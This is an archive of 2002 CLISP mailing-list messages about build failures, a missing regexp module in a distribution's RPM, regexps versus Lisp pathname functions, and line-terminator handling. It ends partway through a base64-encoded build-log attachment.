clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 24 01:14:02 2002 X-Original-Date: Wed, 24 Jul 2002 10:13:07 +0200 (CEST) Many thanks to peaple who answered me! > > 1) why couldn't you build the regexp module? > The problem wasn't specifically with the regexp module. I tried to bulid CLISP and when I ran 'make', after a while it started complaining about undefined references. The last couple of lines: terminal.o(.text+0x8ae): undefined reference to `tputs' collect2: ld returned 1 exit status make: *** [lisp.run] Error 1 > pregexp is slow but is the most perl like. Thanks for suggesting it, I am trying it now. > Michael Parker's is fast I am still figuring out how to use it. > Well, regexps are very limited in what can be > accomplished with them. > (e.g., they are not "Turing complete"). They are still useful for simple pattern matching and for scripting, aren't they? That is what I have to do most of the time; I thought if I did some of it in Lisp I would learn faster than just by reading a book. > I urge you to explore the power of functional and OO > programming > instead of writing Perl code in Common Lisp syntax. > Get Paul Grahams "ANSI Common Lisp" and "On Lisp" > and read them. I am reading "On Lisp" now and enjoying it. > Feel free to rip perl regexps from perl and make a > CLISP module. Not my level yet, I'm afraid. > install the RPM and run clisp as > > $ clisp -K full I did this but didn't get REGEXP. In my installation the full/ and the base/ directory contain exactly the same files (same name, same size) so I guess my RPM wasn't built with additional modules. Gregor ===== Grzegorz Chrupala c/ Portal Nou 40, 1, 2 E-08003 Barcelona España/Spain webpage: geocities.com/grechru e-mail: grechru@yahoo.com tel: (+34)669321477 _______________________________________________________________ Yahoo! Messenger Nueva versión: Webcam, voz, y mucho más ¡Gratis! Descárgalo ya desde http://es.messenger.yahoo.com From samuel.steingold@verizon.net Wed Jul 24 13:54:25 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XT9M-0003Yo-00 for ; Wed, 24 Jul 2002 13:54:24 -0700 Received: (cpmta 9316 invoked from network); 24 Jul 2002 13:54:17 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 24 Jul 2002 13:54:17 -0700 X-Sent: 24 Jul 2002 20:54:17 GMT To: Grzegorz Chrupala Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RPM with REGEXP References: <20020724081307.12494.qmail@web20002.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020724081307.12494.qmail@web20002.mail.yahoo.com> Message-ID: Lines: 56 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 24 13:55:04 2002 X-Original-Date: 24 Jul 2002 16:54:15 -0400 > * In message <20020724081307.12494.qmail@web20002.mail.yahoo.com> > * On the subject of "Re: [clisp-list] RPM with REGEXP" > * Sent on Wed, 24 Jul 2002 10:13:07 +0200 (CEST) > * Honorable Grzegorz Chrupala writes: > > > Well, regexps are very limited in what can be > > accomplished with them. > > (e.g., they are not "Turing complete"). > > They are still useful for simple pattern matching and for scripting, > aren't they? That is what I have to do most of the time; nope! Consider a simple task: finding out file name extension. In perl you would write: $ext = ($filename =~ s/.*\.([^\.]*)$/\1/); (or some other unreadable stuff like that). In Lisp you would write (setq ext (pathname-type filename)) or, to avoid accusations that CL has something built-in :-) (setq ext (subseq filename (1+ (position #\. filename :from-end)))) note that the CL expression is much more clear. (it is also longer, which can be either advantage or disadvantage, depending on your personal taste; I can enter it must faster with Emacs than the corresponding Perl expression. Also, note that due to the basic information theory laws, the more concise the language is, the easier it is to make a simple typo that will be detected only at run-time). > I thought if I did some of it in Lisp I would > learn faster than just by reading a book. Sure. > > $ clisp -K full > > I did this but didn't get REGEXP. In my installation > the full/ and the base/ directory contain exactly the > same files (same name, same size) so I guess my RPM > wasn't built with additional modules. where did you get the RPM? please do complain to the distributor! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The only guy who got all his work done by Friday was Robinson Crusoe. From mkennedy@gentoo.org Wed Jul 24 23:35:33 2002 Received: from sm12.texas.rr.com ([24.93.35.43]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17XcDk-0008VZ-00 for ; Wed, 24 Jul 2002 23:35:33 -0700 Received: from gentoo.shacknet.nu (cs6625132-244.austin.rr.com [66.25.132.244]) by sm12.texas.rr.com (8.12.1/8.12.0.Beta16) with ESMTP id g6P6YppE023462 for ; Thu, 25 Jul 2002 01:34:51 -0500 From: Matthew Kennedy To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1027578930.20941.12.camel@gentoo.shacknet.nu> Mime-Version: 1.0 Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 24 23:36:02 2002 X-Original-Date: 25 Jul 2002 01:35:30 -0500 makemake "--with-dynamic-ffi --with-dynamic-modules --with-export-syscalls --with-module=wildcard --with-module=regexp --with-module=bindings/linuxlibc6 --with-module=clx/new-clx --prefix=/usr" make config.lisp produces the compile time error: http://www.gentoo.org/~mkennedy/clisp.txt -- Matthew Kennedy Gentoo Linux Developer From grechru@yahoo.com Thu Jul 25 00:46:59 2002 Received: from web20004.mail.yahoo.com ([216.136.225.49]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XdKt-0008G4-00 for ; Thu, 25 Jul 2002 00:46:59 -0700 Message-ID: <20020725074658.59032.qmail@web20004.mail.yahoo.com> Received: from [62.14.124.67] by web20004.mail.yahoo.com via HTTP; Thu, 25 Jul 2002 09:46:58 CEST From: =?iso-8859-1?q?Grzegorz=20Chrupala?= Subject: Re: [clisp-list] RPM with REGEXP To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 00:47:05 2002 X-Original-Date: Thu, 25 Jul 2002 09:46:58 +0200 (CEST) --- Sam Steingold escribió: > > * In message > where did you get the RPM? > please do complain to the distributor! Mandrake Linux. Now I have grabbed the latest RPM from Sourceforge and it does contain REGEXP. But maybe I wont use it after all, if you are right about Lisp not needing any stinking regexen ;) Cheers, Greg _______________________________________________________________ Yahoo! Messenger Nueva versión: Webcam, voz, y mucho más ¡Gratis! Descárgalo ya desde http://es.messenger.yahoo.com From empb@bese.it Thu Jul 25 02:05:41 2002 Received: from mail-7.tiscali.it ([195.130.225.153] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XeYz-0000EZ-00 for ; Thu, 25 Jul 2002 02:05:37 -0700 Received: from localhost (62.10.94.72) by mail.tiscali.it (6.5.026) id 3D2D95CB0071E7A0; Thu, 25 Jul 2002 11:04:58 +0200 To: Grzegorz Chrupala Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RPM with REGEXP References: <20020725074658.59032.qmail@web20004.mail.yahoo.com> From: Marco Baringer In-Reply-To: <20020725074658.59032.qmail@web20004.mail.yahoo.com> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 Message-ID: Lines: 35 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 02:06:02 2002 X-Original-Date: 25 Jul 2002 11:05:36 +0200 Grzegorz Chrupala writes: > --- Sam Steingold escribi=F3: > > * In > message > > where did you get the RPM? > > please do complain to the distributor! >=20 > Mandrake Linux. >=20 > Now I have grabbed the latest RPM from Sourceforge and > it does contain REGEXP. But maybe I wont use it after > all, if you are right about Lisp not needing any > stinking regexen ;) >=20 > Cheers, > Greg it is just a question of the right tool for the right job. if you want to manipulate filenames (pathnames) then you should not use regexps, CL's pathname data type offers a far better (ie cleaner and more generic) way to do it. however, if you are parsing some text and you want to determine if the data is of a particular form then regexps are the way to go, this is what regexps were invented for and they do this job well. yes they can be abused (perl's /e modifier is the root of a lot of evil) but not for this reason they should be avoided. my EUR0.02 --=20 -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From samuel.steingold@verizon.net Thu Jul 25 06:02:19 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XiG2-0003v6-00 for ; Thu, 25 Jul 2002 06:02:18 -0700 Received: (cpmta 21721 invoked from network); 25 Jul 2002 06:02:12 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 25 Jul 2002 06:02:11 -0700 X-Sent: 25 Jul 2002 13:02:11 GMT To: Matthew Kennedy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) References: <1027578930.20941.12.camel@gentoo.shacknet.nu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1027578930.20941.12.camel@gentoo.shacknet.nu> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 06:03:03 2002 X-Original-Date: 25 Jul 2002 09:02:10 -0400 > * In message <1027578930.20941.12.camel@gentoo.shacknet.nu> > * On the subject of "[clisp-list] (no subject)" > * Sent on 25 Jul 2002 01:35:30 -0500 > * Honorable Matthew Kennedy writes: > > makemake "--with-dynamic-ffi --with-dynamic-modules > --with-export-syscalls --with-module=wildcard > --with-module=regexp --with-module=bindings/linuxlibc6 > --with-module=clx/new-clx --prefix=/usr" > make config.lisp > > produces the compile time error: > > http://www.gentoo.org/~mkennedy/clisp.txt thanks. what platform are you using? gcc version? libc version? did you look at ? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Single tasking: Just Say No. From samuel.steingold@verizon.net Thu Jul 25 09:15:36 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XlH5-0000cl-00 for ; Thu, 25 Jul 2002 09:15:35 -0700 Received: (cpmta 27494 invoked from network); 25 Jul 2002 09:15:28 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 25 Jul 2002 09:15:28 -0700 X-Sent: 25 Jul 2002 16:15:28 GMT To: Randall R Schulz Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Cygwin feature References: <3CC6C09C.77A88294@ieee.org> <3CC6C09C.77A88294@ieee.org> <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 09:16:04 2002 X-Original-Date: 25 Jul 2002 12:15:25 -0400 Randall, > * In message <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> > * On the subject of "Re: [clisp-list] Cygwin feature" > * Sent on Wed, 24 Apr 2002 09:00:24 -0700 > * Honorable Randall R Schulz writes: > > I use Cygwin extensively, so the Cygwin version would interest me > greatly. I don't doubt the Cygwin principals would accept a CLISP > package into the Cygwin contributed software. Would you like to maintain the Cygwin CLISP package? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux A man paints with his brains and not with his hands. From samuel.steingold@verizon.net Thu Jul 25 10:14:15 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XmBq-0003he-00 for ; Thu, 25 Jul 2002 10:14:14 -0700 Received: (cpmta 18065 invoked from network); 25 Jul 2002 10:14:08 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 25 Jul 2002 10:14:08 -0700 X-Sent: 25 Jul 2002 17:14:08 GMT To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 57 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] character input for CR/LF/CR+LF Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 10:15:02 2002 X-Original-Date: 25 Jul 2002 13:14:03 -0400 It has been requested on many occasions that CLISP provide an option to treat CR/LF/CR+LF differently on character input (right now all three are read as #\Newline STREAM-ELEMENT-TYPE is CHARACTER). The answer to these requests has been to use binary i/o. 6 months ago it was suggested that a :LINE-TERMINATOR-STRICT-P option be added to the ENCODING object. The problem is that this feature will produce unexpected results: READ-LINE will return strings with embedded #\Newline! ANSI does not appear to forbid it. In CLISP, #\Newline is identical to #\Linefeed (which is specifically permitted by ). Therefore, if the file is exactly this string: (concatenate 'string "foo" (string #\Linefeed) "bar" (string #\Return) (string #\Linefeed)) and we open it with (setq e (make-encoding :charset "ascii" :line-terminator :dos :line-terminator-strict-p t)) (setq s (open "foo" :external-format e)) then the string returned by (READ-LINE s) will contain an embedded #\Newline between "foo" and "bar" (because a single #\Linefeed is not a #\Newline in the specified encoding, it will not make READ-LINE return, but it _is_ a CLISP #\Newline!) Therefore, files "foo" and "bar", written with (with-open-file (o "bar" :direction :output :external-format e) (with-open-file (i "foo" :external-format e) (write-line (read-line i) o))) will be different: ---- foo ---- foo^Jbar ------------- ---- bar ---- foo bar ------------- We already have this behavior (unless the ENCODING's LINE-TERMINATOR is :UNIX), the point here is that :LINE-TERMINATOR-STRICT-P does _not_ fix this. Is anyone still interested in this :LINE-TERMINATOR-STRICT-P feature? Do you see any problems with the behavior I just described? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux You can have it good, soon or cheap. Pick two... From samuel.steingold@verizon.net Thu Jul 25 11:20:46 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XnE9-0000Dv-00 for ; Thu, 25 Jul 2002 11:20:41 -0700 Received: (cpmta 4803 invoked from network); 25 Jul 2002 11:20:34 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 25 Jul 2002 11:20:34 -0700 X-Sent: 25 Jul 2002 18:20:34 GMT To: Matthew Kennedy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) References: <1027578930.20941.12.camel@gentoo.shacknet.nu> <1027619910.6967.4.camel@gentoo.shacknet.nu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1027619910.6967.4.camel@gentoo.shacknet.nu> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 11:21:02 2002 X-Original-Date: 25 Jul 2002 14:20:30 -0400 > * In message <1027619910.6967.4.camel@gentoo.shacknet.nu> > * On the subject of "Re: [clisp-list] (no subject)" > * Sent on 25 Jul 2002 12:58:30 -0500 > * Honorable Matthew Kennedy writes: > > $ gcc -v > gcc version 3.1 This is a known (reported) bug in gcc 3.1. A workaround for this bug is to compile CLISP using $ CC='gcc -fno-gcse' ./configure ..... > Matthew Kennedy > Gentoo Linux Developer who maintains ? they should refer to which is the official site (others are just mirrors). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux non-smoking section in a restaurant == non-peeing section in a swimming pool From mkennedy@gentoo.org Thu Jul 25 10:58:42 2002 Received: from sm13.texas.rr.com ([24.93.35.40]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Xmsr-0004Gv-00 for ; Thu, 25 Jul 2002 10:58:41 -0700 Received: from gentoo.shacknet.nu (cs6625132-244.austin.rr.com [66.25.132.244]) by sm13.texas.rr.com (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6PHxjms014131; Thu, 25 Jul 2002 12:59:45 -0500 Subject: Re: [clisp-list] (no subject) From: Matthew Kennedy To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <1027578930.20941.12.camel@gentoo.shacknet.nu> Content-Type: multipart/mixed; boundary="=-I4dSJ+qDqpsaWYDQU4Xa" X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1027619910.6967.4.camel@gentoo.shacknet.nu> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 25 11:32:03 2002 X-Original-Date: 25 Jul 2002 12:58:30 -0500 --=-I4dSJ+qDqpsaWYDQU4Xa Content-Type: text/plain Content-Transfer-Encoding: 7bit On Thu, 2002-07-25 at 08:02, Sam Steingold wrote: > > * In message <1027578930.20941.12.camel@gentoo.shacknet.nu> > > * On the subject of "[clisp-list] (no subject)" > > * Sent on 25 Jul 2002 01:35:30 -0500 > > * Honorable Matthew Kennedy writes: > > > > makemake "--with-dynamic-ffi --with-dynamic-modules > > --with-export-syscalls --with-module=wildcard > > --with-module=regexp --with-module=bindings/linuxlibc6 > > --with-module=clx/new-clx --prefix=/usr" > > make config.lisp > > > > produces the compile time error: > > > > http://www.gentoo.org/~mkennedy/clisp.txt > > thanks. what platform are you using? gcc version? libc version? > did you look at ? Hi. attached is the complete script file. the platform is x86 Gentoo GNU/Linux. The compiler is $ gcc -v Reading specs from /usr/lib/gcc-lib/i686-pc-linux-gnu/3.1/specs Configured with: /var/tmp/portage/gcc-3.1-r8/work/gcc-3.1/configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --host=i686-pc-linux-gnu --build=i686-pc-linux-gnu --target=i686-pc-linux-gnu --enable-threads=posix --enable-long-long --enable-cstdio=stdio --enable-clocale=generic --disable-checking --enable-version-specific-runtime-libs --with-gxx-include-dir=/usr/include/g++-v31 --with-local-prefix=/usr/local --with-system-zlib --enable-shared --enable-nls --without-included-gettext Thread model: posix gcc version 3.1 Using glibc-2.2.5, linux 2.4.18 $ uname -a Linux foo.shacknet.nu 2.4.19-gentoo-r7 #1 Tue Jul 9 18:22:06 CDT 2002 i686 GenuineIntel -- Matthew Kennedy Gentoo Linux Developer --=-I4dSJ+qDqpsaWYDQU4Xa Content-Disposition: attachment; filename=clisp-build.txt.gz Content-Type: application/x-gzip; name=clisp-build.txt.gz Content-Transfer-Encoding: base64 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 